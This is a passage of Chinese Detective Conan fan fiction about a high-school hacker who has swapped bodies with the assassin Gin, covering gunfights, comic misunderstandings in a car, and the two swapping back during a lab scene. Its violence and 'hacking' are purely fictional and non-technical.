相叶佑禾内心尖叫,他是该先担心琴酒受身体拖累被反杀,还是担心琴酒用他的身体杀掉狙击手的事败露,他被警察抓紧去蹲几年局子啊! 不过现在更应该担心的是他自己。 粗重的脚步声在前方响起,相叶佑禾一脚踢到集装箱上,堆栈的箱子散落,纷纷砸到敌人身上。 “在这!他在这里!” 子弹叮叮当当的击中墙壁、地面、货架。 相叶佑禾早已翻滚到另一处,他弓着身体在黑暗中快速移动,如同一抹真正的幽灵一般。 眼底深处的幽蓝色光芒愈发冰冷,那些携带者电子设备的敌人,位置准确的暴露在眼前。 “守住门口!别让他逃走!” “不!他在这……呃啊!” 中年男人猛地转身朝声音来源处举枪,却被一道飞来的身影撞上,连带着一起倒飞了出去,随之而来的还有倒落的木箱。 “哗啦——” 清脆的响声传来,木箱中溢出的液体散发出浓烈的酒味。 “不好!”跌坐在地上的男人瞳孔剧烈收缩,下一秒,地面擦出火星,‘嗤’地一声,火舌顺着流淌的酒精瞬间跃起。 男人看到了站在火海中的银发青年。 银色的长发被热浪吹起,相叶佑禾脸颊上残留的血痕在火光的照耀下变得更加诡异。 他面无表情,眸中没有兴奋、悲伤、愤怒,他像无悲无喜的神明,那双泛着非人光芒的眼睛淡淡扫过,中年男人浑身恐惧的颤抖着,喉咙像是被一只无形的大手掐住,发不出一点声音。 相叶佑禾只是途经此处轻轻扫了一眼,他没有丝毫停留地朝自己的目的地——窗户奔去。 他脚猛地像墙面蹬去,鞋子在墙面留下清晰的擦痕时,相叶佑禾已经爬上了窗户。 子弹接踵而至,他没有回头,一纵跳了下去。 整个过程安静又迅速,只不过晃眼的功夫,他已经来到了仓库外。 “快、快追!必须杀了他!”中年男人惊恐的声音刺破云霄。不敢想象如果让‘琴酒’活下来,他会遭受多麽猛烈地报复。 那个男人刚才明明有机会杀了他却没动手,说不定就是觉得这样死去太便宜他了,要狠狠折磨致死才行。 相叶佑禾不知道中年男人有多恐惧,他现在心脏跳得飞快。 琴酒的身体真强啊,还受着伤竟然也能完成这种高难度的动作。 新鲜的空气涌入鼻腔,相叶佑禾有一种劫后余生的快感。刚才那一整套动作看似行云流水,实际上他都快紧张死了。 只要稍微失误一点,他就完蛋了。 “看来你逃出来了?”琴酒的声音在耳畔响起,相叶佑禾揉了揉发麻的指尖。 他浅浅松了口气,却不敢有一丝懈怠:“是啊,不过真正的逃亡正要开始呢。” 琴酒哼笑一声:“那你就为了今晚的大餐和草莓蛋糕努力吧。” “喂!不要给我立flag啊!”紧张的情绪荡然无存,他腰部被击中,手臂和腿部均有擦伤,身后还跟着一群追杀他的敌人。 可出乎意料的,相叶佑禾竟没有在逃亡的危机感。 “只是一顿太亏了,明天也要,后天也是!” 明明是在跟他讨价还价,声音却丝毫没有平时的活力,明显的颤抖和虚弱让琴酒周身的气压变得更加冰冷。 “贪心的小鬼。”他一脚踢开地上瘫软的身体,将狙击枪架好,趴在地上。 他冷着张脸,苍白的脸因为刚才的剧烈运动布上一层薄薄的汗水,但他却纹丝不动地趴在地上,眼睛一眨不眨地盯着相叶佑禾会出现的方向。 一分钟不到,他看到了相叶佑禾。 苍白的脸、紧皱的眉头、破损的衣服,以及……鲜血。 鲜血从他捂住腰侧的手中溢出,滴落在地上。 琴酒眸色冷得像淬了冰,他面无表情地将目光移到后方的男人身上。 “三点钟方向,躲起来。” 话音刚落,“咻”地一声,子弹飞出,一个脑袋瞬间炸出血花。 “有埋伏!小心!” “先杀琴酒!快!” 现场慌作一团,相叶佑禾早就来到琴酒所说的地方,在一片被长势很好的草丛处,找到一块能掩体的石头。 他一屁股坐了下去,靠在石头上大口大口地喘气,不知是因为失血过多,还是一直紧绷的神经得到放松,他眼前浮出阵阵黑晕。 真是的,这些人为了不被琴酒发现端倪,竟然连一张多余的车都没有,害得他只能跑过来。 “琴酒,有三个人正在从你背后那条路接近你所在的大楼。”相叶佑禾看着移动的点位提醒道。 “嗯。”琴酒眸光闪烁了一下,并不着急去管那几个想要靠近他的人,而是继续解决相叶佑禾周围的人。 他们大概是恐惧琴酒的报复,派了三个人赶去狙击手所在的大楼后,疯狂查找相叶佑禾的位置。 “呃!” 一个代表敌人的红点停住,昏昏欲睡的相叶佑禾骤然清醒过来。 “喂!你在干什麽?” “杀人。” 相叶佑禾瞪大眼睛:“我不是说了有人在靠近你所在的位置吗?” 琴酒平静道:“我知道。” 狙击枪的后坐力震得这具身体的肩膀又痛又麻,再重复几次,肩部大概率会脱臼或者骨折,再此之前,他要先将那些距离过远,他无法触碰到的敌人通通解决。 相叶佑禾:“……” 他磨了磨牙,低低骂了一声混蛋。 琴酒不急他急啊! 但看那混蛋的举动,似乎铁了心要先把这边的人解决一部分。 相叶佑禾在心里又骂了他一遍,不小心牵扯到伤口,痛得他吸了口冷气。 琴酒:“不要干扰我。” “谁干扰你了!”相叶佑禾不爽道:“十点钟方向,两个人。” 琴酒挑了挑眉,他朝十点钟方向看去,果然发现了两个鬼鬼祟祟移动的人。 “十二点方向,一个。” 相叶佑禾喘了口气,降低自己的存在感,冲向琴酒所在的大楼。 真是皇帝不急太监急,等会要是让他的身体受伤了,他一定给琴酒好看! 相叶佑禾一边跑,一边继续给琴酒报点位,路上还在解决敌人时顺了个手机揣兜里。 等他急急忙忙地冲到楼上时,正巧看到琴酒将最后一个敌人解决的一幕。 看到躺在地上的琴酒和旁边软成一团,已经成为尸体的敌人,相叶佑禾愣了愣,悬着的心总算落了下来。 他无力地靠在柱子处,有气无力地夸赞:“真不愧头号杀手。” 瞧瞧,把他的身体使得跟杀手没什麽区别了。 如果去加入组织,捞到个代号估计没什麽问题。 琴酒喘着粗气,大滴大滴的汗水从脸上滚落,眼前发黑。 这具身体达到了极限,能撑到最后把那三个人杀气,完全靠他的意志力撑着。 “走吧,离开这里。”相叶佑禾神色恹恹,他讨厌这个充满了血腥味和尸体的地方,会让他喘不过气。 “过来……背我。”琴酒嗓音微弱—— 他们的车子已经不能用了,好在琴酒察觉到不对后给伏特加打了个电话。 二十分钟后,一辆黑色的车子在路边停下。 “大哥!你怎麽样!”伏特加从车里跳下来,副驾驶的车门打开,一个意料之外的人出现在这。 “Gin,你……” 在看到银发男人背上的人那头粉发时,安室透怔住。 相叶佑禾?! 他怎麽会在这里?! 琴酒居然把相叶佑禾带到任务现场还让人跟着他陷入危险?! 相叶佑禾也十分震惊,安室透怎麽会在这里! 看到自家大哥那恐怖的冷脸,伏特加察觉到了什麽连忙解释:“大哥你叫我的时候,我正在问波本哪家餐厅的好吃。” “没错,听到你陷入危险,我就急急忙忙地跟伏特加一起过来了。”安室透目光扫过他:“G……看样子你的情况不太好?” 还不清楚相叶佑禾知不知道琴酒的代号,安室透将酒名咽了回去。 “咦?这是相叶同学,他怎麽了?” 怎麽了? 相叶佑禾黑着张脸,非常生气。 琴酒这个混蛋,用着他的身体也不知道收敛一点,还好没有脱臼或者骨折,但是肩膀上的皮肤都不能看了。 “没什麽,只是脱力了。”相叶佑禾躲开安室透伸来的手,正打算把琴酒抱进车里,后者已经自己从他背上跳了下来。 “上车。”他推了一把相叶佑禾。 有安室透在,相叶佑禾忍气吞声,没有反驳,等两人都坐上车后,凑过去小声吐槽:“你就不能轻点吗?我可是受了很严重的伤。” 琴酒暼了他一眼,吐出两个字:“躺下。” 相叶佑禾:“……”冷漠无情的家夥! 要不是有外人在,他非要反着干! 话虽如此,相叶佑禾还是非常老实地躺了下去。 陷入柔软的座椅中,疲惫感瞬间涌了上来,浑身疼得厉害,尤其是腰间的枪伤。 琴酒接过伏特加递过来的药箱,车子启动,赶往最近的医院。 “要帮忙吗?”坐在副驾驶的安室透回头。 “不用。”琴酒冷声拒绝,他打开药箱,拿出酒精给相叶佑禾消毒。 “嘶……好……”相叶佑禾‘痛’字还没说出口,便被琴酒一把捂住嘴巴,将所有声音吞了回去。 琴酒俯身,阴影笼罩而下,细碎的发丝扫过耳廓,温热的气息随着他压得极底的嗓音喷洒而来:“咽回去,不准喊。” 密密麻麻的汗水布满了相叶佑禾苍白的脸,他痛得整个人都在轻微颤抖,呼吸淩乱,睫毛也染上一层湿气。 混蛋琴酒! 连痛都不给喊! 他会受伤都怪谁啊! 相叶佑禾生气,瞥了眼近在眼前的肩膀,他挣开琴酒捂在嘴上的手,一手按住琴酒的身体,张嘴咬了上去。 重重的、仿佛要把气全发泄出来,好让他感同身受一般的力道,令旁狭小的空间里响起一道闷哼。 第56章 诶?身体换回来了 怎麽会是相叶佑禾? 安室透脑中划过无数想法。 难道说……那个一直坐在琴酒车里、从不曾露面、被琴酒保护得无微不至的神秘人,是相叶佑禾!! 不、不对,他还不能这麽快下结论。说不定今天只是凑巧两人一起出门了。 琴酒这混蛋,竟然把相叶佑禾带到任务现场还让他经历了这麽危险的遭遇。 真是个混蛋。 说到底,琴酒压根也不是那种恋爱后会把对象保护周全,不让对方碰到丁点危险的人。 正当安室透在心里骂琴酒时,听到了那声低低的——明显经过本人刻意压低的闷哼声。 安室透倏地瞪大了眼睛。 他从车内后视镜看去,银发男人仰躺在后排座椅上,将帮他处理伤口的粉发少年按在胸前,修长的手指深深陷入对方的肩膀,指节因用力而泛白,手背上青筋暴起,狰狞的脉络在皮肤上蜿蜒流动。 他整张脸埋在粉发少年单薄的肩颈处,黑暗将两人包裹,银发男人紧促的呼吸声在狭窄密封的车厢里格外清晰,连带着将空气也染上了一层灼热的暧昧。 禽兽! 竟然当着其他人的面,在车里这种草率的地方,要对相叶佑禾做那种……淫/乱的事! 他就这麽迫不及待,一分一秒都忍不了吗?! 他把相叶佑禾当成了什麽?! 亏他之前还认为变成恋爱脑的琴酒对佑禾有着病态的保护欲,会把佑禾看得比什麽都重要…… 而如今这个还有外人在,就控制不住自己的欲/望,被下半身支配兽性大发的混账…… 安室透眼底的火都要喷出来了!恨不得一枪崩了琴酒这个该死的变态!禽兽!人渣!! 伏特加握着方向盘的手抖了抖。 什、什麽,大哥这次终于要当着他的面在车里…… 他早该想到的! 在他们第一次当着他玩情/趣play时,他就应该想到会有这麽一天的! 早知道当时换车,就挑一辆空间大、装有车载隔断的车好了。 他看向一旁神情呆滞,表情有些扭曲的安室透,不禁投去一个同情的目光。 真抱歉啊波本,让你也成为了大哥play中的一环。 同情的同时,伏特加还隐隐约约有些开心。 这麽久了,他终于找到了能和他感同身受的同伴! 既然大哥都当着波本的面做这种事了,应该是不在意被波本知道吧? 他这段时间经历的、无法用言语诉说的事总算有个吐槽的地方了! 伏特加轻轻拍了拍安室透的肩膀,把食指放在唇边做了‘嘘’的动作,提醒他同为play一环中的新夥伴,不要打扰大哥。 对上伏特加感动又惊喜的眼睛,安室透:? 安室透:…… 安室透若有所思,不过这些都可以稍后再思考,现在,他要打断兽性大发的琴酒。 他绝对不会看着相叶佑禾被琴酒这个禽兽拖入深渊,见死不救—— 猝不及防被咬了一大口,琴酒眉头狠狠皱起。 为了方便活动,他早早地将校服的西装外套脱了,只穿着里面那件布料轻薄的衬衫。 牙齿隔着衣服咬在肉上,湿润的唇瓣将衬衫打湿,温热的液体与从口鼻中呼出的气息喷洒在皮肤上,让牙齿带来的疼痛几乎消失不见,他整个人快被这阵痒意给覆盖了。 琴酒眸色在黑暗中变得愈发深沉。 相叶佑禾在试图将疼痛转移到他身上。 ——幼稚的做法。 浪费时间,那些伤口只会让他疼得更厉害。 琴酒抬手,在黑暗中准确地摸上相叶佑禾的脸颊,手指分开,掐住他脸颊两侧的软肉。 指腹刮蹭过相叶佑禾的脸侧,他微微顿了顿。 正当他准备用力将那张嘴掐开解救肩膀时,相叶佑禾自己松开了。 “对不起……” 是因为痛还是不开心想要发泄,相叶佑禾还是分得清的。 先前情况紧急,他只能率先应对当下的情况,拼尽全力活下来。 等到事情尘埃落定,放松下来后,相叶佑禾眼前、鼻尖好像都被血腥味覆盖,那喷洒而出的血好像不只是溅了一部分在脸上,而是把他整个人从头到尾,浇了个全身淋漓。 对敌人的仁慈就是对自己的残忍,相叶佑禾并不觉得当时的做法有什麽错,那是想要活下来的必要条件。 只是…… 他只是讨厌鲜血、讨厌杀戮,这场命悬一线的战斗让他仿佛被拉回了幼时。 他——好像从来没有摆脱过曾经。 可这不是他将情绪发泄在琴酒身上的理由。 相叶佑禾早就习惯了一个人,因为这份危险的秘密,他对所有人保持着一定的距离,即使这会让真心对待他的人伤心,他也依旧会继续下去。 现在、未来。 相叶佑禾都会处理好自己的事,继续龟缩在一个人的地方,消化所有的、需要他独自面对的情绪。 可是他刚才竟然把心里那股烦躁、不开心发泄在了琴酒身上!! 哪怕事因琴酒而起,可刚才的行为还是让相叶佑禾感到陌生。 他抿了抿唇,没有因为咬了琴酒就将情绪发泄出去,反而变得更烦躁了。 他恨不得再咬一口琴酒,狠狠地、咬得血肉模糊。 一小块被唾液洇湿的白衬衫暴露在眼中,相叶佑禾这才反应过来,他咬了自己的身体。 相叶佑禾:“……” 呜呜…… “对不起。” 他可怜的本体,被狙击手的后坐力冲击得快散架了不说,现在还又被他咬了一口。 相叶佑禾心痛。 闷闷不乐的声音从喉咙里溢出,灼热的气息带着湿热的水汽喷洒在琴酒的肩颈处。 那股盖过所有知觉的痒意又来了。 它顺着脖颈处的皮肤,蔓延至全身。 琴酒扣在相叶佑禾脸颊两侧的手指骤然收紧,将他的脑袋推离了自己。 琴酒坐直身体,拉开距离后,居高临下地看着相叶佑禾。 大概是今晚在生死边缘走了一遭,加上让这个没有经历过黑暗、还在校园游戏中的小废物亲身经历了这麽血腥的场景,相叶佑禾变得奇怪了起来。 竟然会在这种时候对他道歉。 没用的小鬼。 软弱的小鬼。 琴酒目光扫过他低落的眼睛、湿润的睫毛和轻微颤抖的身体。 痛苦的呼吸在耳畔响起,吵得琴酒烦躁。 他抓起医疗箱里的纱布,揉成一团后粗鲁地塞进相叶佑禾嘴里。 “咬紧。” 琴酒这个混蛋该不会要不顾他的死活,不控制力道快速的处理伤口吧! 相叶佑禾瞪大了眼睛,愤愤抬手,正想要把纱布扔开时,棉签轻轻从皮肤上擦过,清凉的触感带来些许刺痛。 相叶佑禾睫毛颤了颤,又躺了回去,他把嘴里的纱布拿出来,没有扔。 “再轻点,真的很痛。” 小声说完,又把纱布塞进嘴里,默默地咬着。 琴酒淡淡暼了他一眼,没有说话,安静的车厢里,只剩下相叶佑禾时不时因为疼痛发出的低哼声。 安室透:“……” 安室透陷入了一阵良久的沉默。 他想要打断琴酒的禽兽行为,结果刚发出一个音节,就被‘琴酒’的对不起给盖了过去。 啊? 啊?? 他真的没听错吗? ‘琴酒’竟然说对不起,还是在咬了一口‘相叶佑禾’后说的! 一副因为痛控制不住自己的兽性咬了一口‘爱人’,猛然惊醒后,发现自己伤害了‘爱人’心疼的道歉,然后拼命控制呼痛声,却还是‘不小心’溢出几声压抑过的、带着几分暧昧引人误会的哼唧声…… 他以为他是野兽化成的人吗!他以为这是在演电视剧吗! 死绿茶。 安室透咬牙切齿,不愧是topkiller,不仅在战斗等方面是天才,其他方面也上手就会。 瞧瞧这一手出神入化的演技。 身体抖得跟骰子似的,他怎麽不知道琴酒这麽怕痛了?以前那个能面不改色给自己来上一枪的琴酒是谁? 时不时溢出的呼痛的哼声,像便秘一样听得安室透反胃。 但偏偏这副柔弱坚强隐忍的样子,把‘相叶佑禾’骗得团团转。 看看那跟对待易碎品一样小心翼翼的动作……安室透两眼一黑。 现在的孩子也太好骗了。 要不然再捐三个亿,让帝丹高中开一门鉴茶或者恋爱方面的课程吧……—— 相叶佑禾在医院里躺了几天,这几天格外的清闲。 杀手的身体素质比他的弱鸡身体好上太多,哪怕是受了枪伤,休息两天后他也神采奕奕,能吃能喝,就是可惜他最近没什麽胃口,嘴巴淡淡的,吃什麽都索然无味。 肯定是伤口还在痛吧。 琴酒当天回来后也累瘫了,倒头就睡,休息了整整两天后,便开始处理任务的后续,当然,是让伏特加过来听他的安排。 相叶佑禾睡得模模糊糊时,隐约听见过他们的谈话。 琴酒竟然没有累到病倒,还能继续工作,这让相叶佑禾相当震惊。 伏特加也很震惊,竟然能看到大哥睡觉,小情人接手他的工作,并安排得井井有序的。 而且……伏特加总感觉和他讨论任务的小情人像极了大哥。经常给他一种他就是在和大哥说话的错觉。 可是大哥就在旁边睡着呢。 伏特加看着熟睡中的银发男人,流下了感动的泪水。 大哥终于会在受伤后好好休息了! 他激动地握住粉发少年肩膀:“大哥就拜托你了!” 琴酒:—— 相叶佑禾悠哉悠哉的好日子很快就到头了。 今天阴雨绵绵,琴酒带着一身湿气推开了门,将他那套标志性的黑色风衣扔给他。 “换上,今天有重要的任务。” “啊?又有任务?”相叶佑禾嘴立即瘪了下去:“我的伤都还没好,你们组织也太没人性了吧!一点都不注重可持续发展,像你这种难得的顶级杀手,更应该让你保重身体,多放假多休息才对!” “放心,今天的任务不需要动手。”琴酒依旧面无表情,但不知是不是天气的原因,相叶佑禾觉得他浑身都散发着一股难以言喻的低气压。 “你心情不好吗?” 琴酒淡淡地暼了他一眼,答非所问:“快点换上,伏特加在楼下等你,他会送你到该去的地方。” 他上前两步,语气冰冷:“记住,你今天只需要冷着张脸,无论看到什麽听到什麽,都不要说话不要乱看,绝对不能做多余的事。如果被人发现了你的异常,那我们两都会完蛋。” 相叶佑禾从中听出了事情的严重性。 他正想问清楚到底是什麽任务时,琴酒已经转身离开。 “大哥!你已经准备好了吗?”伏特加出现在眼前。 看着面前这个老熟人,又想到琴酒的话,相叶佑禾还是把嘴边的疑惑咽了回去。 他换上衣服,坐上伏特加的车。 天空黑沉沉的,连绵的雨水不断落下打到窗户上。 相叶佑禾杵着下颚,思考着接下来会面对什麽。 该不会是和boss见面? 咦,那他不是轻而易举就见到了江户川柯南一直苦苦追查的大boss? 相叶佑禾摸了摸下巴,眼睛微微弯起。 要是柯南知道……咳,真不好意思了柯南,他会把大boss的样子记下来的,有机会偷偷借别人的手透露给他。 在相叶佑禾想东想西时,车子在一处荒郊野外停下来,他推开车门,潮湿的雨气扑面而来,一幢方形的建筑物出现在眼中。 灰蒙蒙的天,潮湿的空气粘腻到让人无端烦躁起来。 伏特加撑开伞,送到相叶佑禾头顶,遮住雨。 “大哥,我们走吧。” 相叶佑禾冷着脸,这时候倒是和琴酒的气质很贴合。 进到建筑物里,相叶佑禾在人的带领下穿过走廊,在一间房门面前停下。 “Gin,你来了。”一个穿着白大褂的男人笑着打招呼,他眼里闪烁起奇异的光芒,有期待、有畏惧、有隐藏得很深让人难以察觉的……兴奋。 相叶佑禾皱了皱眉,心中隐约有一种猜测。 但……怎麽可能呢? 像琴酒这种身居高位、占据组织重要位置的人…… 大概是来监督吧,看看他们的研究进程。 来都来了,要不然趁机找一找有没有APTX4869的解药? 相叶佑禾漫不经心地想着,跟着白大褂男人来到一个房间里。 他盯着房间里唯一的单人床和周围精密的仪器,眸中迸发出冰冷的寒气。 “好了,那就按往常那样,躺上去吧。”男人说完,转身走了出去。 门被紧紧关上,这个以白色为主的房间里,只剩下相叶佑禾一个人。 他沉默地看着面前的病床,垂在身侧的拳头捏起——他很抗拒那张病床,他一点都不想躺上去,甚至有一种想要砸碎这里的冲动。 “Gin?”玻璃窗外的男人疑惑喊了一声。 相叶佑禾骤然惊醒。 他忍住心里那股忽然腾升而起的愤怒,和暴虐到想要不顾一切摧毁这里的欲望,深深吸了一口气。 冷静,冷静。 他不能冲动,如果被人发现异常,到时候躺在实验室床上的人就不止琴酒,还要多个他了。 总之,快点结束,琴酒怎样与他无关。 相叶佑禾不停告诉自己,他和琴酒只是因为灵魂互换被迫绑定在一起而已,互换回来后他们将没有任何关系。 他只要忍耐一下下,扮演好琴酒就行。 这麽想着,相叶佑禾紧绷的神经稍微松了一些,他松开拳头,来到床上躺下。 可相叶佑禾还是低估了自己。 当冰冷的金属片自动扣住手腕的那一瞬间,一些模糊的却又相似的画面在相叶佑禾的眼中重叠。 他攥紧了拳头,指尖死死扣进肉里,浑身爆发出强烈的愤怒和杀意。 白色的雾气从机器里喷出,席卷整个空间,争先恐后的涌入鼻腔。 怒气几乎蔓延了相叶佑禾全身,冰冷的眸子里闪烁着幽蓝色的光芒。 他要毁了这里!他要杀了这些人! 忽然,灯泡在闪烁,机器发出刺耳的嗡鸣声,它们不受控制地疯狂运转着,研究人员惊慌失措的声音和杂乱的脚步声在外面响起,随后,‘砰’地一声,研究所里陷入了死寂的黑暗。 一切,仿佛在此刻停了下来。 相叶佑禾的意识也在白色雾气中逐渐模糊,他的眼皮越来越沉重,在蓝色的光芒散去之前,他用最后一丝力气将研究所的位置发送到公安的计算机上。 他今天非要毁了这个研究所! 眼前的白色消失,只剩下一片黑暗。 下一秒,黑暗的房间里,粉发少年‘唰’地睁开了眼睛。 混蛋!他要杀了那些混蛋! 相叶佑禾猛地坐起,往前走了两步后,突然停了下来。 这个高度…… 相叶佑禾低头,看着这双白净、没有丁点茧子的双手,眨了眨眼睛:“诶?” “这是……我的身体?” 第57章 换回来后的见面 余光瞥到洗手间,相叶佑禾连忙跑了过去。 他看着镜子里面的自己,少年纤细的身形被白衬衫罩住,略显单薄。领口处露出一截雪白的脖颈,粉色的发丝贴在上面,更衬得肌肤有种透明的苍白感,一眼便能捕捉到淡青色的血管。 相叶佑禾眨了眨眼,一双绿色的眼眸如同春水般温和,不具攻击性。 他拉开领口,被衣服遮住的皮肤暴露在眼前,肩胛骨大片的深紫色淤痕触目惊心。 这是被狙击枪后坐力冲击后留下的伤。 这是他的脸、是他的身体! 这麽突然的换回来,相叶佑禾险些以为自己在做梦,毕竟在闭眼前他吸入了大量的催眠瓦斯。 他手指扶上这片深紫色的痕迹上,狠狠按下,没有留情。 “嘶……好痛。” 剧烈的疼痛传来,相叶佑禾整张脸猛地皱起,眼角因为疼痛泛起泪花,可是心却非常开心。 不是梦境、不是幻觉。 他真的回到了自己的身体里!! 太好了! 镜子里的少年眉眼弯弯,整个人散发着开心的气息,晃眼间仿佛飘着金光灿灿的小花花。 相叶佑禾实在太高兴了,天知道这几个月他是怎麽度过的。 不仅要扮演冷冰冰的杀手,还要在和冷冰冰的杀手朝夕相处的日子里裹紧自己的小马甲,假装自己只是个普通高中生…… 最最最可恶的是,琴酒总用他的身体做一些出乎意料的事、进行一些危险的活动,害得他只能跟个变态一样到处监视琴酒…… 在身体互换的这段时间里,他都做了多少很刑的事? 相叶佑禾沉默了几秒。 什麽他做的。 那都是‘琴酒’做的,关他‘相叶佑禾’什麽事~ 总之,现在这种紧张刺激又讨厌的生活总算是结束了。 开心~ 相叶佑禾哼着歌,将最上面的纽扣扣上,白色的衬衫重新遮住那可怖的深紫色痕迹。他拉了下衣摆将褶皱抚平,唇角微扬,和琴酒那锋利的冷冽截然不同,那个温和的高中生又重新回来了。 这才对嘛。 相叶佑禾盯着镜子里这张属于少年有些稚嫩的脸庞,怎麽看怎麽顺眼。 他回到了自己的身体里,琴酒应该也是吧?今后他们桥归桥路归路—— 等等! 琴酒回到了自己的身体里…… 但琴酒现在……还在研究所的实验床上! 相叶佑禾朝大门跑去,扭开门把手后突然顿住。 不对,他为什麽要去? 他和琴酒本来就不是一路人,甚至琴酒最开始还因为那莫名其妙的猜测就要杀了他,他讨厌死琴酒了。 现在身体换回来了,今后的生活也会回到正轨,相叶佑禾继续隐藏自己的特殊当普通学生,琴酒依旧是游走在黑暗中的顶尖杀手,有权有钱,想做什麽就做什麽…… 琴酒怎麽样都与他……无关吧? 相叶佑禾将门关上,最后一丝光线被彻底阻断,昏暗重新笼罩了这间没有开灯的屋子。 躺在惨白的床铺上那冷冰冰的触感仿佛又传了过来,精密仪器运转的嗡嗡声、玻璃窗外冷漠观看的研究人员…… 相叶佑禾的手指突然死死扣住门把手,指节因为用力过度而泛白。 太熟悉了,这种感觉、这个似曾相识的场面…… 难以名状的怒火在心中翻涌,像寒冰般刺骨,又像岩浆般灼热。 相叶佑禾闭了闭眼,强行将那些画面从脑子里挥出去,但不仅没挥出去,反而想起了一件重要的事。 他在昏睡之前,好像因为生气把位置传到了警视厅公安部的所有计算机上,还特意加黑加粗标注了黑衣组织第六研究基地,为了增加可信度甚至用了警方自以为‘黑客樱的樱花雨标志’。 以他曾经黑入警视厅帮他们加固了防护系统,并没有做出任何不利于警方的事来看,警方应该会相信他,哪怕不是百分百的信任,认为他有其他图谋,也不会放过这来之不易的机会。 毕竟这可是大名鼎鼎黑客樱给的信息,百分百准确,只是背后所求让人不敢轻举妄动。 而黑衣组织,也是警方多年以来前赴后继、却始终难以彻底拔除的罪恶之根。 况且黑客樱的举动,正是给了警方一个接近他的机会。 ——或许黑客樱与黑衣组织对上了,警方行动也能卖他一个人情。 毕竟——他们馋黑客樱很久了。 这种有实力的天才就应该被收编。 安室透和诸伏景光在接到公安部传来的信息后,无论从哪个角度想,都觉得这次出警并不是坏事。 只可惜他们没办法参与。 不过,如果按照他们之前的猜测,黑客樱就是相叶佑禾的话,他为什麽会选择这个时间暴露组织的基地? 是跟在琴酒身边发现了这个基地,因为讨厌琴酒就立马将信息透露给公安,还是早就知道今天终于忍无可忍了? 安室透和诸伏景光对视了一眼:“也不排除这是琴酒的阴谋。” 一场试探相叶佑禾‘真心’的阴谋。 两人不禁升起担忧,但果然,最重要的还是确认相叶佑禾是不是黑客樱。 先前送琴酒和相叶佑禾去医院时,安室透虽然在场,但第二天琴酒就转移了位置,现在在哪所医院他也还没调查清楚。 “总之,当务之急是先找到佑禾。”不管是不是黑客樱,都要先保护起来才行—— 被两人惦记的相叶佑禾,此刻正陷入无尽的挣扎中。 琴酒现在是醒着还是依旧昏睡? 醒来会继续检查身体还是离开? 以他对琴酒的了解,醒来看到那些坏掉的仪器,多半会留下来调查。 还在昏睡就更不用说了…… 相叶佑禾抬手在空中划过,幽蓝色的代码从指尖流出,如星河般铺展开来。 从警视厅到研究所各的每一天路线,只要安装了监控器的路段,画面皆悬浮在空中呈现在他面前。 十来辆朴实无华的车子引起了相叶佑禾的注意。他们分散在不同的路在线,但行动轨迹却暴露了他们的不同。 相叶佑禾指尖轻挑,幽蓝色的代码如花一般绽开,车牌信息、车主文件……所有公安信息都展露了出来。 他们果然行动了。 事情如他所料,但相叶佑禾竟然没有开心,反而有种坐立不安的焦躁。 他静静地坐在沙发上,幽蓝色的光芒反射在眼里,数十个监控画面倒映在瞳孔中,公安的车子正在飞速接近研究所的地点。 越来越近、越来越近…… 琴酒被抓了也好,他正好不用担心事后会被琴酒威胁。 相叶佑禾动了动,发现屁股下的沙发并不柔软,视线扫过屋内,发现这不是他家。 点开定位一看,这间屋子距离研究所很近。 恐怕是琴酒担心他那边出状况,所以跟着来到适合支持的地方,安静观察。 桌上还放着手枪、狙击枪,连小型炸弹都有…… “嘟——” 拨打电话的提示音在安静的房间里响起,相叶佑禾骤然惊醒。 手机不知什麽时候握在手里,屏幕上正显示:【拨号中——蹭吃蹭住脾气超差的大混蛋!】 相叶佑禾:“……” 可恶! 他只是保护在他身体里的琴酒习惯了而已! 而且,万一琴酒被公安抓后看他过着安稳的生活不爽,向公安透露灵魂互换的事怎麽办! 毕竟琴酒就是这种记仇的家夥,哪怕双双躺在实验床上,也看不惯他一个人自由快乐。 相叶佑禾越想越对,不行,绝对不能把琴酒交给公安! 电话迟迟没被接通,扫了眼监控里疾驰的车子,相叶佑禾一咬牙,一边继续拨号,一边起身从桌上抓了把手枪就冲了出去。 大概是为了不被发现,琴酒将车子停在了隐秘的地方,相叶佑禾在房子周围找了一圈也没找到,干脆不找了。 他所在的地方是最靠近研究所的地方,荒郊野外的也打不到车,相叶佑禾只好靠自己的双腿了。 所幸琴酒挑选的地方距离很近,他就算用双腿跑过去也比远在米花町的公安快。 到了研究所,捞上琴酒后让伏特加开车带他们离开,至于研究所和里面的研究员…… 呵,相叶佑禾冷笑一声,全部充公吧! 黑沉沉的天空下,雨没有变小,反而越下越大。 硕大的雨点砸到地面上,溅起冰冷的水花,相叶佑禾冲进雨幕中,单薄的衬衫瞬间被打湿,布料紧紧贴在皮肤上,刺骨的寒气席卷全身,冷得他直哆嗦。 他可怜的身体。 相叶佑禾没有停留,快速朝研究所赶去,这具身体在琴酒的锻炼和养护下,没有从前那麽不堪一击,但持续高速的奔跑也让他够呛的。 相叶佑禾发誓,等回去后他要找阿笠博士买一堆滑板,随身携带一个,其余他会出现的地方都塞两三个。 突然间,相叶佑禾的神经骤然紧绷,浑身细胞都在叫嚣着危险。 他猛地往侧边闪去。 “咻——”子弹贴着脸颊划过,几缕碎发飘落,相叶佑禾白皙的脸颊上出现一抹猩红。 雨幕中,几个穿着雨衣,帽子遮住半张脸的人从树后走了出来。 “喂!蠢货!你在干什麽?!”为首的男人一掌拍在持枪人的脑袋上,恼怒道:“老板不是说了要活捉吗!” “抱、抱歉,我忘了。”持枪人连忙道歉。 相叶佑禾警惕地看着来人,绿色的眸子中满是冷意:“你们是谁?” “你不需要知道。”为首的男人冷哼一声,对同伴道:“别耽误时间,快把这个小崽子打晕带走。” 他们一拥而上,脸上带着兴奋轻快的笑意,仿佛这个身形瘦弱的少年已经成为瓮中之鼈。 棍子划破雨水,带着凛冽的劲风直逼脖颈,相叶佑禾一个侧身抓住男人的手,顺势夺过武器反手砸在男人的背上。 “啊!”清脆的声音响起,男人重重扑倒在地上。 相叶佑禾没有收敛力道,被雨水冻得僵硬的四肢无时无刻不再提醒他,这不是琴酒的身体。 琴酒一脚就能将人踹飞倒地不起,他不行。 “臭小子,你找死!” 相叶佑禾重重喘了口气,在剩下的人扬起棍子前,率先朝他们攻去。 他脸上的表情很冷,呼吸很重、动作却干脆果断,带起的水花尚未落地,他的攻击已经落到了敌人身上。 相叶佑禾现在没有功夫猜测他们口中的老板是谁,也没有心情在这跟他们浪费时间,时间紧迫,琴酒迟迟没有接听电话,他必须得快点去把琴酒带走才行。 但眼前的形势也很严峻,敌人是孔武有力的大汉,皮糙肉厚体力又很好,可他不一样。 